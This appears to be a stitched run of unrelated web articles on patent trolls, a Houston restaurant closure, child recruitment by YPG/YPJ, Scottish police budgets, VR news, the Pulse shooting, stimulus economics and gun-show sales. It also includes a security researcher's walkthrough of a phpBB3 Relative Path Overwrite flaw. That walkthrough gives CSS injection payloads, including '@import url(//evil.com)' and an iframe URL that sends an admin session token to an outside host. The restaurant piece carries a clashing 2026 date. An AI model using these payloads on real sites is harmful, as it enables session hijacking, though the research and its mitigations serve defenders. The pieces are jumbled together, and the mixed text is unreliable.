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Fed up with patent holding companies suing them, a consortium of high-tech companies is taking a different approach: beat them to the punch. According to The Wall Street Journal (subscription), the business heavyweights behind the move include Google, Verizon, Cisco, and Hewlett-Packard. The premise is that the companies will put money into a holding company, to be called Allied Security Trust, that will buy up patents and then license them to consortium members for free. The need for these measures should be apparent to anyone who has followed the intellectual property scene in recent years. No company seems safe from having an essential part of their services covered by someone else's patents, many of which seem to have never been put into use by their holders. One of the more egregious examples include a suit charging every cell phone provider under the sun with infringement for sending international text messages. Another fine example was provided by a company that sued for infringement, pocketed a settlement, and then sold the patent to a subsidiary in order to sue again. These are all serious annoyances, but The Journal's report mentions a more dangerous example: the patent suit that almost brought down BlackBerry maker Research In Motion. At one point during the proceedings, the company was in danger of having to shut down, with potentially disastrous repercussions for it and its hordes of perpetually connected users. The effort would mark a second front in the effort to cope with the hazards of intellectual property litigation, as most of the companies are members of the Coalition for Patent Fairness, which is pushing for enactment of the Patent Reform Act. They also show up on the rolls of the Intellectual Property Owners Association. This isn't the first venture of this sort, as some ex-Microsoft employees have founded a private patent licensing company for the same reasons. Still, the company's website notes, "Our focus is on inventing and investing in invention. While litigation is possible in any business, it is not a goal of IV [our company]." Their inability to rule litigation out clearly left these companies nervous. The companies will undoubtedly have to keep pumping money into the holding trust in order for it to continue to purchase patents, but the fees for buying them from small inventors are unlikely to exceed those exchanged in a typical settlement; they're certainly less drastic than a threat to shut a company down. The key issue will be whether Allied Security Trust can identify key patents and purchase them ahead of the trolls. |
Updated: Foreign Correspondents closes as founding chefs depart Nationally recognized regional Thai spot loses PJ and Apple Stoops The February/March issue of Garden & Gun magazine features "The Southern Hot List" of Southern talent. The spread includes an article about enterprising Southern chefs that includes Houston's PJ Stoops of the new Foreign Correspondents northern Thai restaurant. From left: Joseph Lenn, Kelly Fields, Lisa White, Elliott Moss, Jeremiah Langhorne, Matthew Raiford, and P. J. Stoops, photographed at the Dabney in Washington, D.C. (By William Hereford) less The February/March issue of Garden & Gun magazine features "The Southern Hot List" of Southern talent. The spread includes an article about enterprising Southern chefs that includes Houston's PJ Stoops of the ... more Photo: Garden & Gun Photo: Garden & Gun Image 1 of / 20 Caption Close Updated: Foreign Correspondents closes as founding chefs depart 1 / 20 Back to Gallery Nationally recognized regional Thai restaurant Foreign Correspondents closed Monday following the Sunday departure of its founding chefs, husband-and-wife team PJ and Apple Stoops. Just shy of 14 months old, during its short life the adventurous Thai spot had become a darling of critics such as Eater National's Bill Addison and Bon Appetit's Andrew Knowlton. On Sunday evening, amid text and phone discussions with owners Treadsack group about the restaurant's future, founding chef PJ Stoops returned to the Heights-area kitchen to pack up his knives and go. As of Monday, he and his Thai-born wife, Apple, would no longer be associated with the groundbreaking restaurant. By late Monday afternoon, Treadsack's Chris Cusack had announced the restaurant's demise. "I've heard you're not a real restaurateur until you've closed your first place," wrote Cusack on Twitter, whose restaurant and bar mini-empire includes Down House, Hunky Dory, Bernadine's, D&T Drive Inn, Johnny's Gold Brick and Canard. "I guess I finally made it. FC was a blast but is no more. Amazing food, even better staff. Tons of recognition in the press. Never pulled down the covers, sadly." TOP 100: These are the best restaurants in Houston Foreign Correspondents has earned both local and national accolades since it opened in late October of 2015, one of three ambitious projects opened by Treadsack in the year's final quarter. With its farm-to-table slant, its working relationship with Cambodian farmers Sameth and Lee Nget, and its exhilaratingly different menu featuring Isaan and other regional Thai dishes, Foreign Correspondents earned the number 25 slot on this year's Houston Chronicle list of the city's Top 100 Restaurants. Eater National critic Bill Addison praised the restaurant in two different articles, and Bon Appetit critic Andrew Knowlton included it in his yearly roundup of the 50 best new restaurants in America. Southern lifestyle bible Garden & Gun put PJ Stoops on its 2026 Southern Hot List roundup of culinary talents to watch. NATIONAL NOD: Foreign Correspondents among 50 best new restaurants in America Despite the positive critical reception, Foreign Correspondents had trouble growing its customer base and filling up the big 144-seat space it occupied in the refurbished North Main strip mall that houses Canard, a cocktail bar that is another Treadsack venture, and the Morningstar coffee and doughnut shop. Save for a gangbusters August during Houston Restaurant Weeks, says Stoops, "we had never really made money." Under pressure to make his distinctly (and delightfully) non-canonical menu more accessible, he had added crowd-pleasing pad Thai to the menu in recent months. During back and forth about whether the restaurant would close at the end of the year or try a "Hail Mary" approach to staying alive, according to Stoops, he concluded he and his wife should leave. This fall another high-profile Treadsack talent, bar director Leslie Ross Krockenberger, also left the company. Canard, the exciting cocktail bar she opened for them next door to Foreign Correspondents, is still in business. |
Meeting with YPG/YPJ leaders A few hours after our arrival in a city near Qamishili, we meet with Redur Xelil and Nasrin Abdallah, both spokespersons and commanders of the YPG and YPJ, respectively. They are responsible for implementing the Deed of Commitment in the ranks of the YPG/YPJ, which purportedly counts 35,000 combatants. They start the discussion with interesting news from the front line. They have just learnt that negotiations with ISIS for the liberation of 34 Assyrian (a Christian ethnic group) detainees had been successful. We are surprised that negotiations with ISIS could even happen. Meeting between Geneva Call’s representatives and YPG/YPG representatives. November 2015. © Geneva Call We now initiate discussions on a series of allegations — sometimes confirmed by the YPG/YPJ themselves — of child recruitment. As they did in the past, they recognize that the issue of child recruitment is a persistent one, and they reaffirm their willingness to uphold the obligations of the Deed. They once again highlight the difficulties they are facing in terms of implementation. According to them, many children under 18 want to join YPG/YPJ voluntarily, mainly for the following reasons: The lack of other options as many schools are closed Domestic violence and forced marriage Poverty in their families Propaganda by YPG /YPJ and the need to defend their people against ISIS The desire to avenge a relative or a friend who had been killed “We need people to fight, as the conflict is intense, and we signed this agreement [the Deed of Commitment] being aware of this situation. There are still exceptions [of child recruitment]; we don’t want to lie. We are trying to end these exceptions.” Redur Xelil, YPG spokesperson and commander. Fighter from YPG/YPJ. © Geneva Call The two representatives raise another problem: YPG/YPJ recruitment processes are not centralized. The front line with ISIS is very long: from Derek, close to the border with Iraq, to Afrin, on the west side of the country. Therefore, each battalion commander bears the responsibility for recruiting his/her unit’s fighters. Despite the different command orders that have been sent to all units on prohibiting the use of child soldiers, it is difficult for the central command to make sure all its units respect the obligation. The creation of a monitoring committee As a measure to reinforce compliance with the Deed of Commitment, Redur Xelil and Nasrin Abdallah announce the creation of a monitoring committee with two main responsibilities: Centralizing all complaints and allegations of child recruitment made by families, the media and human rights organizations. Each complaint will lead to an investigation. Regular inspections of military camps, recruitment centres and the front line in order to check the ages of combatant and non-combatant members of the YPG/YPJ. The monitoring committee has full authority to sanction officers who do not respect the Deed and to send children back to their families or to an education centre. They invite us to collaborate and liaise closely with this committee and to accompany it on its inspection visits. We agree to this proposal and inform them that we will reinforce our local presence in the territory they control to ensure better coordination and monitoring. After three hours of discussions, we decide that tomorrow we will visit one of the centres taking in children who had been discharged from active military service. |
VIDEO - No time to waste: Police detained Monday a 92-year-old motorist driving against traffic on Tel Aviv's Ayalon freeway, one of the city's busiest routes. The elderly motorist told police he was rushing to a friend's birthday bash. The Tel Aviv District Police call center received initial reports of reckless driver around 2 pm. Several police cruisers were immediately dispatched to the area and slowed down traffic on the highway in order to avert a major accident. "I must have been confused, I'm rushing to a friend's birthday bash at Ichilov hospital," the man told the stunned police officials. Given the severity of the offence, the elderly man's license was revoked on the spot and he was referred to a medical examination that would determine whether he is fit to continue driving at his age. |
BUDGET AND OTHER MATTERS Colleagues, The tragedy of the recent terrorist attacks in Paris has focussed minds about the challenges we all face in our daily lives. The pressure placed on the police service and associated bodies in attempting to prevent such atrocities has been brought into sharp focus as has the need for the service, along with other first responders, to prepare for any eventuality. All of which costs money. Budget The media in England and Wales have tended to concentrate on the reduction in police officer numbers following the Paris attacks. As an outsider, this has been long overdue. Continued cuts to the police budget South of the border has brought about a massive reduction in officer numbers whilst the recent introduction of Police and Crime Commissioners has been identified as one reason for a reluctance on the part of politicians there to look to amalgamate forces to meet the financial challenge. The gradual intrusion of private security firms to fill the breach created by officer number reduction should be a source of concern for us all. In Scotland, our budget considerations are at a crucial stage. I have just submitted an Association position on the subject to the Justice Committee for Policing at the Scottish Parliament. Our submission recognises the difficulty that the government face when allocating their budget and deciding on the priorities for the forthcoming period. We remain of the view that the public sector in Scotland has duplication and inefficiency in its system and further reform could bring with it savings and a redistribution of funds. At the heart of our position, however, is an observation that the government’s commitment to 17,234 is hampering our ability to meet the financial challenges we face. To be clear, we do not advocate a reduction in police officer numbers. We don’t know if 17,234 is the number of officers Scotland requires to police effectively, we may need more, we may need less, but 17,234 is what we have based on the fact that this is 1000 more than we had on the day that the government made a commitment to extra officers in 2007. No science or planning went into that decision but it is one we remain tied to for political reasons. The problem we have with the government position is the reduction in budget allied to the retention of officers. This has caused the service to allow valued staff members to leave and to look to reduce our spend elsewhere. As a result, staff costs now equate to over 92% of our total budget. With further cuts predicted it is becoming harder to provide a 21st century level of service. Already we have seen officers once again delivering citations and undertaking firearms inquiries whilst others are drawn into control rooms and to service custody suites. Our fleet has been significantly reduced, offices have closed and, at Superintendent level, a 25% loss has necessitated that the workload merely increases for those that remain with precious little administrative support to assist them. The Association believes that the commitment to 17,234 comes at a cost. This is a cost that the government has thus far been unwilling to meet. That remains a political matter based on their priorities, we can accept that. What we cannot support, however, is a continued reduction in budget allied to the red-circling of these numbers as the sums just don’t add up. Thus our plea is, either fund the service appropriately or remove the constraints and allow us to redefine the service within the budget we have been given. This will once again allow for a balanced workforce but will also require a more mature debate about the service we provide. A significant reduction in budget must equate to a change in the service delivery model which sees the police shed certain tasks with safety of the citizens of Scotland remaining the priority. We await developments. Superintendent Review Allied to the foregoing is the Superintendents Review. This is now well under way and a series of meetings with members are taking place. This is your chance to influence how your working life will look in the future. It is a once in a generation opportunity. Everyone should have been in receipt of the question set and, if you are unable to meet the review team in person, you can email your views directly to them. Early indications are that members are re-emphasising the points that appeared in our surveys and that the Association has been highlighting for some time. Length of the working day, lack of administrative support, lack of resilience, intrusion of new procedures and processes, shortage of training opportunities, impact of the performance model, spans of command, CAV days and appraisal are some of the issues that we understand have been raised. These are not easy issues to contend with but they are impacting on the wellbeing of our membership and possibly making the rank of Superintendent unattractive to potential candidates. It will be interesting to see the proposals from the service with respect to their intent to address these matters. It is worthy of note that, at the outset, there was agreement that the Strategic Governance Group could implement change where clear improvement might result during the review process. It is therefore hoped that some matters might be addressed before the report is received in the spring. Taxation Some of you may be aware of a potential issue relating to the Annual Allowance statements that were recently despatched by the Public Pensions Agency. It would appear that, in respect of some, pay data issued by the service and upon which the statements were based may have been erroneous. I have written to the Police Service of Scotland and requested that all data be checked for accuracy as a matter of urgency given the timescales required for reporting any potential breach to HMRC. I await a response but remain available to provide any further information you may require at this time. Further on taxation related matters. The Life Time Allowance position is becoming clearer. We are awaiting final detail on the protection and how it is to be applied. This will be available soon and will require those who wish to seek protection submitting applications to the HMRC. These will probably require pension forecast statements to be included. Thus any person who believes they may require to seek protection against LTA might be best obtaining a forecast statement in advance from the SPPA if they haven’t already done so. Hopefully these updates are of interest to you. Niven Rennie To read previous Blogs please view via links below: President’s Blog No5 President’s Blog No4 President’s Blog No3 President’s Blog No2 President’s Blog No1 |
James Kettle | 17 February 2015 at 15:48 UTC bounties 0day Research scanners Early last year Gareth Heyes unveiled a fascinating new technique for attacking web applications by exploiting path-relative stylesheet imports, and dubbed it ‘Relative Path Overwrite’. This attack tricks browsers into importing HTML pages as stylesheets by abusing the path handling features of many common web languages and frameworks. Thanks to extremely tolerant stylesheet parsing, this can frequently be used to inject malicious CSS and hijack user accounts. This technique is currently quite esoteric, so it’s often effective against sites that have already been subjected to professional or crowdsourced audits. However, successfully exploiting it in a real world environment involves navigating an array of arcane browser internals that often aren't otherwise highly relevant to pentesters. This post aims to help out by walking through the process of identifying and exploiting this issue, using a real vulnerability in the popular bulletin board software phpBB3 as a worked example. The fundamentals Webpages can use path-relative links to load content from nearby folders. For example, say a browser loads http://example.com/phpBB3/viewforum.php?f=2 and this page uses the following statement to import an external stylesheet: <link href=" styles/prosilver/theme/print.css " rel="stylesheet" type="text/css"/> The absence of a leading / indicates that the browser should interpret it relative to the current page’s folder. The web browser will calculate this folder (/phpBB3/) from the current URL, and grab the stylesheet from: http://example.com/phpBB3/ styles/prosilver/theme/print.css So far so good. However, thanks to a feature of PHP (and .NET, JSP and many frameworks*), the same original page can be accessed by browsing to: http://example.com/phpBB3/viewforum.php /anything/here ?f=2 Parsing URLs is tricky, and web browsers are oblivious to this feature so they will misinterpret this URL as referring to a file called ‘here’ in the ‘/phpBB3/viewforum.php/anything/’ folder and attempt to import the following page as a stylesheet: http://example.com/phpBB3/viewforum.php /anything/styles/ The server will view this as a second request to /phpBB3/viewforum.php, and serve an HTML response. Exploiting quirks What happens when a browser tries to load an HTML page as a stylesheet? It depends on whether the importing page was rendered in ‘Quirks mode’. Quirks mode was designed to gracefully handle the poorly coded websites common in the early days of the web. If Quirks mode is active, the browser will happily ignore the ‘Content-Type: text/html’ header and parse the document looking for any CSS to execute. If not, the browser will refuse to parse it, and display a helpful message in the developer tools: Or: This means that to create a working exploit we need the page to be rendered in Quirks mode. Quirks mode is triggered automatically when a HTML page fails to set a doctype, or uses an old one like: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> See the table near the bottom of https://hsivonen.fi/doctype/ for a fairly comprehensive list of which doctypes trigger this behaviour. Fortunately for us, there is a way to trigger Quirks mode even when the page uses a modern doctype. Internet Explorer allows document modes to be inherited through iframes, so we can force any page to be loaded in Quirks mode by framing it*. phpBB3 doesn’t use any effective anti-framing measures, so we can proceed using this attack route. The following HTML uses a meta tag to ensure Quirks mode is activated, then loads the target page: <html><head><meta http-equiv="X-UA-Compatible"content="IE=EmulateIE7"></head><body><iframe src=http://example.com/phpBB3/viewforum.php/foo/bar We can confirm that this has worked by noting that although the CSS is still broken, the ‘CSS was ignored due to mime type mismatch’ messages have disappeared. In certain rare situations an oblivious server may detect that the filename ends in ‘.css’ and set ‘Content-Type: text/css’ automatically, removing the need for Quirks mode. Injecting CSS Now that we have got the browser to import a HTML page as a stylesheet, we just need a way to get our malicious CSS into position. Since CSS parsers are so tolerant, it doesn’t really matter where in the HTML tree the payload lands. All we need to do is inject the following minimal payload: %0A{}*{color:red;} The leading %0A{} is necessary to get the CSS parser into the correct state to handle the *{ selector, and the %0A can be omitted if you aren’t inside a quoted string. Depending on what the page displays, the payload could originate from a classic persistent input, or the user’s session, referrer, path or cookie. Our target page reflects the path, so we’ll use that: http://example.com/phpBB3/search.php/%0A{}*{color:red;}/// which returns: < link rel ="alternate" type ="application/atom+xml" title ="Feed - yourdomain.com" href ="http://example.com/phpBB3/search.php/ {}*{color:red;}//styles/prosilver/theme/feed.php" /> If we place this URL in the iframe we prepared earlier, we can see the injected CSS taking effect: Malicious CSS To load an external stylesheet of arbitrary length, just replace the *{color: red;} payload with @import url(//evil.com). Being able to execute arbitrary CSS on someone else’s domain opens the door to all kinds of carnage: Executing arbitrary JavaScript using IE's expression() function. This outright won’t work if the page sets a modern doctype, even if Quirks mode is enabled. It also doesn't work in IE11. Extracting page source and stealing CSRF tokens using CSS selectors. This attack is demonstrated by sirdarckcat at http://eaea.sirdarckcat.net/cssar/v2/ , and can be adapted to work on hidden inputs . , and . Extract page source at high speed by using http://html5sec.org/webkit/test . See http://www.syssec.rub.de/media/emma/veroeffentlichungen/2012/08/16/scriptlessAttacks-ccs2012.pdf and http://channel9.msdn.com/Events/Blue-Hat-Security-Briefings/BlueHat-Security-Briefings-Fall-2012-Sessions/BH1203 for further details. Extracting the page’s URL using http://html5sec.org/cssession If the stars are aligned, and you have two injection points on the same line with some sensitive information between, you might be able to extract it in a single request with http://scarybeastsecurity.blogspot.co.uk/2009/12/generic-cross-browser-cross-domain.html (The technique described there no longer works cross-domain, but still works same-domain). (The technique described there no longer works cross-domain, but still works same-domain). If the application appends sensitive information to the stylesheet URL, exfiltrate it to an external domain by using @import and watching the Referer header In some situations Internet Explorer refuses to send cookies to iframed sites due to P3P. This limits attacks to unauthenticated content grabbing, such as scraping passwords from internal corporate wikis. Fortunately for us, this problem doesn't affect intranet sites or sites with a solid P3P policy, and P3P is not even implemented in Windows 10 - see A Quick Look at P3P for more information. The last approach might sound quite implausible, but that’s exactly what phpBB3 does. Whenever a logged in user visits http://example.com/phpBB3/adm/index.php the server redirects them to http://example.com/phpBB3/adm/index.php? sid=6a37bda1ee5b560e1e70395cfb8b11d8 where ‘sid’ is their session key, fresh out their cookie. This key is then appended to a path relative stylesheet imports: <link href="./../style.php?id=1&lang=en& sid=6a37bda1ee5b560e1e70395cfb8b11d8 " rel="stylesheet" type="text/css" We can abuse this by constructing a payload which discloses the entire session token in a single request, via the HTTP referrer header. The source for this attack is: <html><head><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"></head><body><iframe width="90%" height="90%" src="http://192.168.181.149/phpBB3/adm/index.php/%250C%257B%257D%250C%40import%2509%2527/////portswigger.net/css/ps.css%2527%253b%250C/a/b/c/d/e/f"></iframe> The attack URL is a bit messy because I had to double-URL encode it to get through the initial redirect. Also, the redirect encoded and filtered spaces and newlines, so I replaced them with tab and ‘form feed’ characters instead respectively, courtesy of http://html5sec.org/#45. It triggers the following sequence of events when loaded in Internet Explorer by a user logged in to phpBB: The meta statement triggers Quirks mode. The site loads the following URL in an iframe: http://192.168.181.149/phpBB3/adm/index.php/%250C%257B%257D%250C%40 import%2509%2527/////portswigger.net/css/ps.css%2527%253b%250C/a/b/c /d/e/f This results in a redirect to: http://192.168.181.149/phpBB3/adm/index.php/%0C%7B%7D%0C@import%09%27 ///portswigger.net/css/ps.css%27%3b%0C/a/b/c/d/index.php? sid=6a37bda1ee5b560e1e70395cfb8b11d8 The users’ browser renders this page and tries to load the following HTML page as a stylesheet: http://192.168.181.149/phpBB3/adm/index.php/%0C%7B%7D%0C@import%09%27 ///portswigger.net/css/ps.css%27%3b%0C/a/b/c/style.php?id=1&lang=en& sid=6a37bda1ee5b560e1e70395cfb8b11d8 When processing this page, the CSS parser reaches and executes the following statement injected via the URL: @import '//portswigger.net/css/ps.css' This makes the browser leak the session id by trying to fetch http://portswigger.net/css/ps.css with the following referer header: http://192.168.181.149/phpBB3/adm/index.php/%0C%7B%7D%0C@import<%09%27///portswigger.net/css/ps.css%27%3b%0C/a/b/c/d/index.php? sid=6a37bda1ee5b560e1e70395cfb8b11d8 Obtaining the sid token grants us access to the target's session, but for one final catch. phpBB3 associates session tokens with IP addresses by default, so in a remote attack scenario you’d need to proxy through the victim’s browser using DNS rebinding, an attack that's possible in all major browsers but sadly beyond the scope of this writeup. Automatic detection Hopefully this post has enough detail for you to find this vulnerability using nothing but coffee and a web browser. However, if you're looking for something a bit more scalable, Burp Suite's passive scanner automatically recognises and reports pages containing path-relative stylesheet imports that may be susceptible to content-sniffing. Launching an active scan will follow up on this and verify that the server has the path-handling features necessary to trigger a misguided import: The final step of injecting CSS is (currently) left as an exercise for the user. Securing applications The example vulnerability in phpBB3 was classified as CVE-2015-1431, and fixed in version 3.0.13. The root problem can be resolved by not using path-relative links on systems with flexible path-handling. Finally, the vulnerability can be mitigated using the following best practise steps, which may look awfully familiar: Set the server header X-Frame-Options: deny on all pages Set the server header X-Content-Type-Options: nosniff on all pages Set a modern doctype (eg: <!doctype html>) on all pages Conclusions Avoiding this vulnerability is easy enough, but I think the way it arose in the first place is an excellent example of tolerance and flexibility conflicting with security. This issue simply wouldn't exist without garbage-happy CSS parsing, browsers bending rules and content-sniffing to render noncompliant web pages, or web frameworks redefining URL components as a pseudo query-string. Further Research After this post was published, some other people did some excellent followup research: * The syntax to attack JSP applications is slightly different: http://example.com/index.jsp;anything/here |
Whew, what a week. Can we sleep now? With each passing year the Game Developers Conference (GDC) becomes more and more important to the VR industry, and 2017’s iteration was no different. There have been a frankly ridiculous amount of announcements over the past six days and we wouldn’t blame you if you’d missed a few of them. So we’ve gathered what we’d consider to be the nine biggest stories of the show, representing the need-to-know information. If you’ve been living under a rock (or in a VR headset) for the past week then look no further! You can start by listening in on our hour-long post-GDC live videocast analysis from yesterday right here: After that, keep scrolling for the nine most essential headlines of the week. 1080 Ti Supercharges VR VR requires meaty graphics processing power to run well, and Nvidia continues to push the boundaries with its latest GeForce GTX GPU release, the 1080 Ti. This is said to be around 35% faster than last year’s 1080, in many ways coming close to or surpassing the company’s top of the range Titan X Pascal GPU too. It’s shipping this month for $699 for all VR enthusiasts that want to push their VR experiences that bit further. Rift’s 2017 Line-Up Last year at GDC Oculus revealed much of its line-up for the imminent launch of the Rift. One year on and it’s ready to debut its bigger, better 2017 line-up, fueled by the recently-released Touch controllers. We’d seen games like Arktika.1 before, but new titles like From Other Suns and The Mage’s Tale are truly looking like the next generation of VR content. Vive’s Peripheral Prices Are $99.99 HTC introduced its new add-on Trackers and an integrated audio strap for the Vive at CES in January, and it kicked off GDC with the announcement that both will be available for $99.99 each in the coming months. The Tracker will roll out to developers first and we saw plenty of great examples of what they’ll do with it at the show. This is something to be excited about. Khronos’ OpenXR Sets VR/AR Standards If we’re not careful, fragmentation could become a major issue for the VR industry, with so many devices already out there drastically different in features, power, and more. Khronos wants to combat that with OpenXR, a standard framework for VR software that will help you develop across multiple headsets and input devices. This could be crucial for social VR and bringing apps to as many platforms as possible. New Gear VR, New Controller With Google Daydream launching with motion controls last year, Samsung and Oculus’ Gear VR needs to play a bit of catch up. Fortunately the pair are doing just that; a new Gear VR was announced at Samsung’s MWC press conference last weekend, and will likely be fully unveiled when the company reveals its new S8 smartphone later this year. It’s got a controller very similar to a Daydream remote, which we can’t wait to get hands-on with. Hands-On With the Microsoft Windows Holographic VR Headset One of the biggest question marks heading into GDC was Microsoft. We knew it was going to announce when its dev kits for its VR headsets for Windows Holographic would start shipping at the show, we just didn’t know what that kit would look like. Well we got hands-on with it and it has potential. With consumer devices set to launch this year and Project Scorpio on the horizon, there’s a lot more to learn yet. LG Looks Good With SteamVR Headset We always knew there would be other SteamVR headsets beyond the HTC Vive, we just didn’t know what they’d be and when we’d see them. Turns out LG is the next company to partner up with Valve and it was at GDC with an early prototype of its headset, which doesn’t have a release date yet. We went hands-on with the device and were quite fond of it. We look forward to more details as the year progresses. Robo Recall Ready Epic Games’ Rift-exclusive Oculus Touch showcase, Robo Recall, was always pegged for an early 2017 release, but people were starting to get a little anxious it might not make that window. Well Epic had a perfect surprise for everyone on Wednesday when it actually released the shooter for free. If you’ve got Touch then be sure to go and grab it, it’s not one you should miss. VR’s First Major Price Cut Price cuts are a major part of driving adoption of any product, and a tactic we see used often in the console business. It looks like VR will be no different; Oculus this week announced that its Rift was dropping from $599 to $499, and Touch was dropping from $199 to $99. That’s both Rift and Touch for slightly less than the original price of just the headset itself. Game on. Tagged with: GDC, gear vr, htc vive, lg, nvidia, oculus rift, samsung |
Yes, you are not like me, I said. Yes. We are different. You are not gay. When I first told this story to a friend in college, he said to me, “Well, it isn’t possible for everyone. It takes a lot of courage to be out.” I remember how much this surprised me. This all came back to me as I read the reports coming out of Orlando on Sunday, after the attack on the LGBT club Pulse. On any given day, I don’t feel particularly brave, and never have. I didn’t think it was brave to be alive and out at the time my friend said this to me. Life was just something that happened and kept happening each time I woke up and made coffee. And I am sure the 49 patrons who died at Pulse that night didn’t necessarily think of themselves as brave for being there. But they were. My new friend said this to me when we were discussing our relationship, because we were in love. Once again, here was a man I loved, who was telling me he couldn’t be gay. Looking back, maybe in that context, “being gay” just means the will to live out your love and desire for men. The will to endure it in the face of violence, the disapproval of parents, expulsion from the home. The first story I ever heard in the news about a gay man was about the murder, in 1984, of Charlie Howard, who was thrown by his attackers from a bridge to his death. A certain violence has always followed me since coming out, whether I was in a bar where someone threw an M-80 at the door, or attacked in the street—it follows us all. The Pulse murders were the starkest reminder yet that we could be killed for being gay. But this knowledge is something I’ve learned to live with, as I’m sure everyone in that club also had. |
Critics in the second camp were particularly worried about what would happen this year, since the stimulus would have its maximum effect on growth in late 2009 then gradually fade out. Last year, many of us were already warning that the economy might stall in the second half of 2010. So what actually happened? The administration’s optimistic forecast was wrong, but which group of pessimists was right about the reasons for that error? Start with interest rates. Those who said the stimulus was too big predicted sharply rising rates. When rates rose in early 2009, The Wall Street Journal published an editorial titled “The Bond Vigilantes: The disciplinarians of U.S. policy makers return.” The editorial declared that it was all about fear of deficits, and concluded, “When in doubt, bet on the markets.” Photo But those who said the stimulus was too small argued that temporary deficits weren’t a problem as long as the economy remained depressed; we were awash in savings with nowhere to go. Interest rates, we said, would fluctuate with optimism or pessimism about future growth, not with government borrowing. When in doubt, bet on the markets. The 10-year bond rate was over 3.7 percent when The Journal published that editorial; it’s under 2.7 percent now. What about inflation? Amid the inflation hysteria of early 2009, the inadequate-stimulus critics pointed out that inflation always falls during sustained periods of high unemployment, and that this time should be no different. Sure enough, key measures of inflation have fallen from more than 2 percent before the economic crisis to 1 percent or less now, and Japanese-style deflation is looking like a real possibility. Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. Meanwhile, the timing of recent economic growth strongly supports the notion that stimulus does, indeed, boost the economy: growth accelerated last year, as the stimulus reached its predicted peak impact, but has fallen off — just as some of us feared — as the stimulus has faded. Oh, and don’t tell me that Germany proves that austerity, not stimulus, is the way to go. Germany actually did quite a lot of stimulus — the austerity is all in the future. Also, it never had a housing bubble that burst. And with all that, German G.D.P. is still further below its precrisis peak than American G.D.P. True, Germany has done better in terms of employment — but that’s because strong unions and government policy have prevented American-style mass layoffs. Advertisement Continue reading the main story The actual lessons of 2009-2010, then, are that scare stories about stimulus are wrong, and that stimulus works when it is applied. But it wasn’t applied on a sufficient scale. And we need another round. I know that getting that round is unlikely: Republicans and conservative Democrats won’t stand for it. And if, as expected, the G.O.P. wins big in November, this will be widely regarded as a vindication of the anti-stimulus position. Mr. Obama, we’ll be told, moved too far to the left, and his Keynesian economic doctrine was proved wrong. But politics determines who has the power, not who has the truth. The economic theory behind the Obama stimulus has passed the test of recent events with flying colors; unfortunately, Mr. Obama, for whatever reason — yes, I’m aware that there were political constraints — initially offered a plan that was much too cautious given the scale of the economy’s problems. So, as I said, here’s hoping that Mr. Obama goes big next week. If he does, he’ll have the facts on his side. |
"You can absolutely get a gun if you have several felonies as long as you buy it on the Internet or at a gun show." Searching for a great gift for all ages? Look no further, Amy Schumer has the product for you. In a recent sketch on her Comedy Central show Inside Amy Schumer, Schumer and fellow comedian Kyle Dunnigan play infomercial hosts pitching viewers on the perfect "stocking stuffer": a handgun. A hopeful buyer laments that he can’t get a gun because he has a criminal record riddled with felonies. "Caller, you bite your tongue, you silly goose!" Schumer’s character says. "You can absolutely get a gun if you have several felonies, as long as you buy it on the Internet or at a gun show." "If you go to a gun show, you can get an unlicensed seller to sell you a gun, no questions asked," Dunnigan added We’ve looked at similar claims before. Because this sketch is getting a lot of attention, we wanted to recap whether a felon can actually buy a gun on the Internet or at a gun show. This isn’t the first time Schumer has tackled gun issues; she has been a vocal advocate for stricter gun laws since a gunman killed two and injured many others at a showing of her feature film Trainwreck in a Louisiana movie theater in 2015. But it is her first time on the Truth-O-Meter. The 'gun show loophole' To be clear: The kind of transaction Schumer’s character describes is illegal. Federal law prohibits felons from getting a gun unless their rights have been formally restored. Felons can theoretically get around this obstacle, however, by buying guns from unlicensed sellers who are not required to conduct criminal background checks. This is sometimes referred to as the "gun show loophole," even though it refers to all private sales, and not everyone considers it a loophole. Schumer’s sketch was referring to this aspect of current gun law, said a spokesman for Everytown for Gun Safety, gun control advocacy group Schumer promotes at the end of the sketch. Anyone who repeatedly buys and sells firearms "with the principal motive of making a profit" is supposed to get a dealer’s license, whether they deal out of a brick-and-mortar store, a gun show, or online, according to the Bureau of Alcohol, Tobacco, Firearms and Explosives. Licensed firearm dealers must run background checks on non-licensed buyers before selling them a gun. But the law does not require a dealer’s license for private hobbyists and others who occasionally buy and sell guns. If an individual buys a gun from someone who is not required to have a license, the purchaser does not have to undergo a background check. So a violent felon could buy a gun from a hobbyist over the Internet or at a gun show because he or she would not be subject to a background check. The purchase would still be illegal, because of the buyer’s felon status, but it would not create an immediate red flag. The same thing can happen at a gun show. There are a few important limitations on these sorts of private transactions. First, it is illegal for private sellers to transfer a gun to someone they either know or reasonably believe is prohibited from owning a gun, for example, if the seller knows the buyer is a felon. But private sellers "can give themselves plausible deniability by not asking the necessary questions," Garen Wintemute, a professor of emergency medicine at the University of California Davis, previously told PolitiFact. So in the case of Schumer’s show, she and her co-host would not have that cushion of plausible deniability because the hopeful buyer told them outright that he is a felon. The giant "gun show" banner doesn’t make a difference. Second, private sales, online or otherwise, cannot take place across state lines, so the buyer and seller must be in the same state. And there are many restrictions on shipping guns, so the actual transaction is likely to take place in person, as opposed to the buyer entering credit card information online, and the seller shipping the gun to the buyer’s house. And third, several states — California, Colorado, Connecticut, Delaware, New York, Oregon, Rhode Island, Washington — and the District of Columbia require background checks for all private gun sales. With all these restrictions, how many people actually buy guns without a background check? The truth is we don’t really know. The only statistics floating around are outdated and flawed. Professors at Northeastern and Harvard universities conducted a gun survey in 2015 that isn’t yet published. The national survey of 4,000 non-institutionalized adults found that 22 percent of the people who purchased guns — at gun shows, stores or elsewhere — underwent no background check, Matthew Miller, professor of Health Sciences and Epidemiology at Northeastern and co-director of the Harvard Injury Control Research Center, told us in January. When researchers excluded purchases between family and friends, that number dropped to 15 percent, which equates to approximately 5 million gun owners whose most recent purchase did not involve a background check. One more thing: Later in Schumer’s sketch, another hopeful buyer calls in to ask if he can get a gun even though he’s a suspected terrorist on the no-fly list. "You’re fine, sweet potato fry," Schumer’s character says. A March 2015 report from the U.S. Government Accountability Office examined how many people applying for gun purchases went through the FBI’s instant background check system and also were on the FBI’s list of "those known or reasonably suspected of being involved in terrorist activity." 